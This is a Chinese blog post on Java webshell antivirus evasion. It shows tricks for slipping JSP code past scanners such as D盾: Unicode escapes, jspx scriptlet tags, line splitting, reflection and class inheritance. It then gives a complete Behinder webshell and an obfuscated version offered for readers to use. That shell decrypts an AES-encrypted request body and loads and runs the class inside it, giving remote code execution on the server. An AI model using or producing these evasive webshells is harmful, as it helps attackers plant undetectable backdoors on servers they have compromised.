首页 > 系统相关 >Java安全之Webshell免杀

Java安全之Webshell免杀

时间:2022-10-12 09:36:52浏览次数:50  
标签:Webshell calc Java 免杀 getRuntime 杀软 Runtime

Java安全之Webshell免杀

当遇到文件上传时,如果网站存在查杀软件,我们上传的一句话木马会被直接秒杀,这时候就需要做一下免杀,绕过查杀软件的检测。

思路

我的想法是先拆分,然后分别检验那些语句符合杀软的规则,然后利用语言的特性去修改语句,从而绕过杀软的规则

了解特性

做Java的Webshell免杀首先我们要了解Java和jsp的语言特点

拆分和合并

这里是举个栗子,通过拆分或合并可以绕过一些规则,例如D盾检测冰蝎马的request.getReader().readLine()

System.out.println(Runtime.getRuntime().exec("calc"));
上下一样
Runtime rt = Runtime.getRuntime();
Process a = rt.exec("calc");
System.out.println(a);

Unicode编码

jsp支持unicode编码,如果杀软不支持unicode查杀的话,基本上都能绕过

\u0022\u0063\u0061\u006c\u0063\u0022 在jsp中就是  "calc"

image-20221011165839371

image-20221011165936341

CDATA特性

这里是要是利用jspx的进行进行免杀,jspx其实就是xml格式的jsp文件

<%%>  替换成  <jsp:scriptlet></jsp:scriptlet>

image-20221011170143413

image-20221011170155658

Java换行特性

利用java换行的特性绕过杀软的规则

Runtime run = Runtime.getRuntime();
上面与下面的java代码是一样可执行的
Runtime run =
Runtime.getRuntime();

image-20221011170741981

image-20221011170802384

Java反射特性

杀软的规则有检测关键词和实例化类的检测,这时候我们可以利用Java反射的特性来绕过

System.out.println(Runtime.getRuntime().exec("calc"));
就等于
String jlr = "java.l"+"ang.R"+"untime";
Class clazz = Class.forName(jlr); //初始化Runtime类
Object rt = clazz.getMethod("getRuntime").invoke(clazz); //调用Runtime类中的getRuntime方法得到Runtime类的对象
clazz.getMethod("exec",String.class).invoke(rt,"calc.exe"); //再次使用invoke调用Runtime类中的方法时,传递我们获得的对象,这样就可以调用

image-20221011174135468

image-20221011173459744

Java继承特性

相当于给类改了名,试了试可以绕过某些杀软的规则

class aaa extends bbb{}
aaa a1 = new aaa();

冰蝎免杀马

自己根据D盾的检测,写了一个马,能过一些检测,可以参考一下

原马:

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%>
<%!class U extends ClassLoader
{
	U(ClassLoader c){
		super(c);
		}
	public Class g(byte []b){
	return super.defineClass(b,0,b.length);
	}
}
%>
<%if (request.getMethod().equals("POST")){
	String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/
	session.putValue("u",k);
	Cipher c=Cipher.getInstance("AES");
	c.init(2,new SecretKeySpec(k.getBytes(),"AES"));
	new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>

免杀马:

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*,sun.misc.*,
sun.misc.BASE64Encoder,javax.crypto.spec.SecretKeySpec" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.lang.reflect.Method" %>
<jsp:scriptlet>
    String pp =\u0022\u0050\u004f\u0053\u0054\u0022;
</jsp:scriptlet>
<%
    class b6 extends \u0042\u0041\u0053\u0045\u0036\u0034\u0044\u0065\u0063\u006f\u0064\u0065\u0072{}
    b6 b6 = new b6();
%>
<%!
    public byte[] gg(byte[] a1,String k) {

        try {
            javax.crypto./*123*/Cipher c = javax.crypto.Cipher.\u0067\u0065\u0074\u0049\u006e\u0073\u0074\u0061\u006e\u0063e("AES/ECB/PKCS5Padding");
            c.init(javax.crypto.Cipher.DECRYPT_MODE, (javax.crypto.spec.SecretKeySpec) Class.forName("javax.crypto.spec.SecretKeySpec").getConstructor(byte[].class, String.class).newInstance(k.getBytes(), "AES"));
            return c.doFinal(a1);

        } catch (Exception e) {
            e.printStackTrace();
            return null;
        }
    }
%>

<%
    if (request.getMethod().equals(pp)) {
        String k = "md5密码";
        session.putValue("u", k);
        BufferedReader reader = request.getReader();
        byte[] a1 = b6.decodeBuffer(reader.readLine());
        byte[] a2 = gg(a1,k);

        Method method2  = Class.forName("java.lang.ClassLoader").getDeclaredMethod("defineClass",byte[].class, int.class, int.class);
        method2.setAccessible(true);
        Class i = (Class) method2.invoke(Thread.currentThread().getContextClassLoader(),a2,0,a2.length);
        Object Qvsa = i.newInstance();
        Qvsa.equals(pageContext);
    }
%>

image-20221011180623843

image-20221011180658673

标签:Webshell,calc,Java,免杀,getRuntime,杀软,Runtime
From: https://www.cnblogs.com/mantou0/p/16783331.html

相关文章

  • Java 手动显示调用validate的实体属性验证
    importorg.springframework.util.CollectionUtils;importjavax.validation.ConstraintViolation;importjavax.validation.Valid;importjavax.validation.Validati......
  • Java自学小白——IO流
    一、文件基础知识Java对文件的操作是通过IO流来实现的,想要了解IO流,就得先学习Java的File类                    I/O......
  • Java小白学习笔记——反射
    快速入门一,反射概述反射机制       上述程序的返回值  反射获取对象 方式一在编译阶段使用,一般多在通过读取配置文件获取方式二在加载......
  • java常用注解校验参数
    validation中内置的constraints注解描述@AssertFalse 所注解的元素必须是Boolean类型,且值为false@AssertTrue所注解的元素必须是Boolean类型,且值为true......
  • java 字体绘制
    一、前提1、如下图是组件的继承关系可以看到所有的组件都继承Component2、绘制函数界面显示或者窗口大小改变的时候,都会调用protectedvoidpaintComponent(Graphicsg......
  • 《Effective Java》
    《EffectiveJava》  第1章引言 第2章创建和销毁对象 第1条:考虑用静态工厂方法代替构造器 第2条:遇到多个构造器参数时要考虑用构建器 第3条:用私有构造器或者枚举......
  • JavaScript works behind the scenes -- Engine and Runtime
    whatisaJavaScriptengine?programthatexecutesJavaScriptcode.JavaScript引擎是运行JavaScript代码的程序。howengineworks?JavaScriptcontainsacallsta......
  • Java中equals和==区别
    “==”和equals的区别......
  • 【Java8新特性】- Optional应用
    Java8新特性-Optional应用......
  • 阿里云Java上传文件(含解压zip)
    1、maven<dependency><groupId>com.aliyun.oss</groupId><artifactId>aliyun-sdk-oss</artifactId><version>3.1.0</ver......